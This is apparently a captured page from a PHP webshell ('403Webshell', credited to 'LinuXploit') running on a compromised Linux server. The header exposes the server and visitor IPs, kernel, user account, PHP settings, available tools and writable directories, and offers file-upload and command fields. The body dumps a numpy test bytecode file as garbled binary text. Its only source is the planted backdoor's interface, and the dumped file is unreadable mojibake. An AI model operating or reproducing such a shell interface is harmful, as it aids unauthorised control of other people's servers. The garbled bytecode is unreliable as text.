403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/numpy/lib/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/numpy/lib/tests/__pycache__/test_utils.cpython-311.pyc
�

���c��|�ddlZddlZddlZddlmZddlmZmZmZddl	m
Z
mZddlm
cmZddlmZej�ejjdkd���ej�ejd	kd
���d�����Ze
d���Ze
d
���d���Zd�Ze
edd���Zd�Ze
e��Zd�Ze
ed���Zd�Ze
e��Z ed���d���Z!d�Z"d�Z#d�Z$d�Z%ej�ejjdkd���ej�&d eefeefee fg��d!�����Z'd"�Z(ej�ejjdkd���d#���Z)d$�Z*d%�Z+Gd&�d'��Z,d(�Z-d)�Z.dS)*�N)�arange)�assert_�assert_equal�assert_raises_regex)�	deprecate�deprecate_with_doc)�StringIO�zPython running -OO)�reason)��
r�	candidate�zBroken as of bpo-44524c��t��}tjdd|d���|���}t	d|v��dS)N�
eigenvalue�numpyF)�module�output�import_modulesznumpy.linalg.eig)r	�utils�lookfor�getvaluer)�outs �</usr/lib/python3/dist-packages/numpy/lib/tests/test_utils.py�test_lookforr
sV���*�*�C�	�M�,�w�s�!&�(�(�(�(�

�,�,�.�.�C���#�%�&�&�&�&�&�c��|S�N���self�xs  r�old_funcr#����Hr�Rather use new_func2)�messagec��|Srrr s  r�	old_func2r(r$rc��|Srrr s  r�	old_func3r*$s���Hrr*�	new_func3)�old_name�new_namec��|S)z Summary.

    Further info.
    rr s  r�	old_func4r/)�	��

�Hrc��|S)z+Summary.

        Bizarre indentation.
    rr s  r�	old_func5r22r0rzThis function is
deprecated.c��|S)z
    Also in PEP-257.
    rr s  r�	old_func6r4;s	��
�Hr�Rather use new_func7)�msgc��|Srrr s  r�	old_func7r8Cr$rc�<�tdtjv��dS)N�
deprecated)rr#�__doc__rrr�test_deprecate_decoratorr<Hs���L�H�,�,�-�-�-�-�-rc�<�tdtjv��dS)Nr%)rr(r;rrr� test_deprecate_decorator_messager>L����"�i�&7�7�8�8�8�8�8rc�r�tdtjv��tdtjv��dS)Nr*r+)rr+r;rrr�test_deprecate_fnrAPs4���K�9�,�,�-�-�-��K�9�,�,�-�-�-�-�-rc�<�tdtjv��dS)Nr5)rr8r;rrr�)test_deprecate_with_doc_decorator_messagerCUr?rz-OO discards docstringszold_func, new_funcc�T�t||��d|fd|ffD]�\}}t|j�d����D]a\}}|dkr5|�d��s|�d��r
J|����@|r|�d��s
J|����b��dS)N�old�new�
rz    � )�
_compare_docs�	enumerater;�split�
startswith)r#�new_func�knd�func�li�lines      r�test_deprecate_help_indentationrRYs����(�H�%�%�%��h�'�%��):�;�4�4�	��T�!�$�,�"4�"4�T�":�":�;�;�	4�	4�H�B���Q�w�w����v�.�.�O�d�o�o�c�6J�6J�O�O�C�O�O�O���
4����v�.�.�3�3��3�3�3��		4�4�4rc��tj|��}tj|��}|�d��dz}t||d�|��dS)Nz

r
)�inspect�getdoc�indexr)r#rM�old_doc�new_docrVs     rrIrIjsT���n�X�&�&�G��n�X�&�&�G��M�M�&�!�!�A�%�E�������'�*�*�*�*�*rc�<�tdtjv��dS)Nz
        Bizarre)r�	new_func5r;rrr�"test_deprecate_preserve_whitespacer[qs����9�#4�4�5�5�5�5�5rc�J�ttjtk��dSr)rr#�
__module__�__name__rrr�test_deprecate_moduler_vs���H��8�+�,�,�,�,�,rc�.�tjd��dS)N�None)r�	safe_evalrrr�test_safe_eval_nameconstantrczs��	�O�F�����rc�&�eZdZd�Zd�Zd�Zd�ZdS)�TestByteBoundsc��td���dd��}tj|��\}}t	||z
|j|jz��dS�N�r�)r�reshaper�byte_boundsr�size�itemsize)r!�a�low�highs    r�test_byte_boundszTestByteBounds.test_byte_bounds�sV��
�2�J�J���q�!�$�$���%�a�(�(�	��T��T�C�Z���!�*�!4�5�5�5�5�5rc���td���dd��}|j}tj|��\}}t||z
|j|jz��dSrg�rrj�Trrkrrlrm�r!rn�brorps     r�"test_unusual_order_positive_stridez1TestByteBounds.test_unusual_order_positive_stride�s[���2�J�J���q�!�$�$��
�C���%�a�(�(�	��T��T�C�Z���!�*�!4�5�5�5�5�5rc���td���dd��}|jddd�}tj|��\}}t||z
|j|jz��dS)Nrhrri���rsrus     r�"test_unusual_order_negative_stridez1TestByteBounds.test_unusual_order_negative_stride�se���2�J�J���q�!�$�$��
�C���"��I���%�a�(�(�	��T��T�C�Z���!�*�!4�5�5�5�5�5rc��td��}|ddd�}tj|��\}}t||z
|jdz|jz|jz
��dS)Nrhr
)rrrkrrlrmrus     r�test_stridedzTestByteBounds.test_strided�s`���2�J�J��
�c�c��c�F���%�a�(�(�	��T�	�T�C�Z���!��a�j�!8�1�:�!E�F�F�F�F�FrN)r^r]�__qualname__rqrwrzr|rrrreresU������6�6�6�6�6�6�6�6�6�G�G�G�G�Grrec�f�ttd��5td���#1swxYwYdS)Nzno deprecation warning)r�
ValueErrorrrr�(test_assert_raises_regex_context_managerr��s^��	�Z�)A�	B�	B�3�3��1�2�2�2�3�3�3�3����3�3�3�3�3�3s�&�*�*c�t�Gd�d��}Gd�d��}d�}||��sJ�||��rJ�dS)Nc��eZdZdS)�1test_info_method_heading.<locals>.NoPublicMethodsN)r^r]r}rrr�NoPublicMethodsr��s�������rr�c��eZdZd�ZdS)�3test_info_method_heading.<locals>.WithPublicMethodsc��dSrrrrr�first_methodz@test_info_method_heading.<locals>.WithPublicMethods.first_method�s���DrN)r^r]r}r�rrr�WithPublicMethodsr��s#������	�	�	�	�	rr�c�v�t��}tj||���d|���vS)N)rzMethods:)r	r�infor)�clsrs  r�_has_method_headingz5test_info_method_heading.<locals>._has_method_heading�s3���j�j��
�
�3�s�#�#�#�#��S�\�\�^�^�+�+rr)r�r�r�s   r�test_info_method_headingr��s���
�
�
�
�
�
�
�
���������,�,�,�
��0�1�1�1�1�1�"�"�?�3�3�3�3�3�3�3r)/rT�sys�pytest�
numpy.corer�
numpy.testingrrr�	numpy.librr�numpy.lib.utils�libr�ior	�mark�skipif�flags�optimize�version_inforr#r(r*r+r/�	new_func4r2rZr4�	new_func6r8r<r>rArC�parametrizerRrIr[r_rcrer�r�rrr�<module>r�sz������
�
�
�
�
�
�
�
�������D�D�D�D�D�D�D�D�D�D�3�3�3�3�3�3�3�3��������������������C�I�&�!�+�4H��I�I�������2�2�#����'�'�	��J�I�
'��
�
���
���)�*�*�*�
�
�+�*�
�
�
�
��I�i�+��L�L�L�	�
�
�
�
�I�i� � �	�
�
�
�
�I�i�)H�I�I�I�	�
�
�
�

�I�i� � �	���.�/�/�/�
�
�0�/�
�.�.�.�9�9�9�.�.�.�
9�9�9�����C�I�&�!�+�4M��N�N�����-��	���	���	��0���
4�4���O�N�4�+�+�+�����C�I�&�!�+�4M��N�N�6�6�O�N�6�-�-�-����
G�G�G�G�G�G�G�G�<3�3�3�
4�4�4�4�4r

Youez - 2016 - github.com/yon3zu
LinuXploit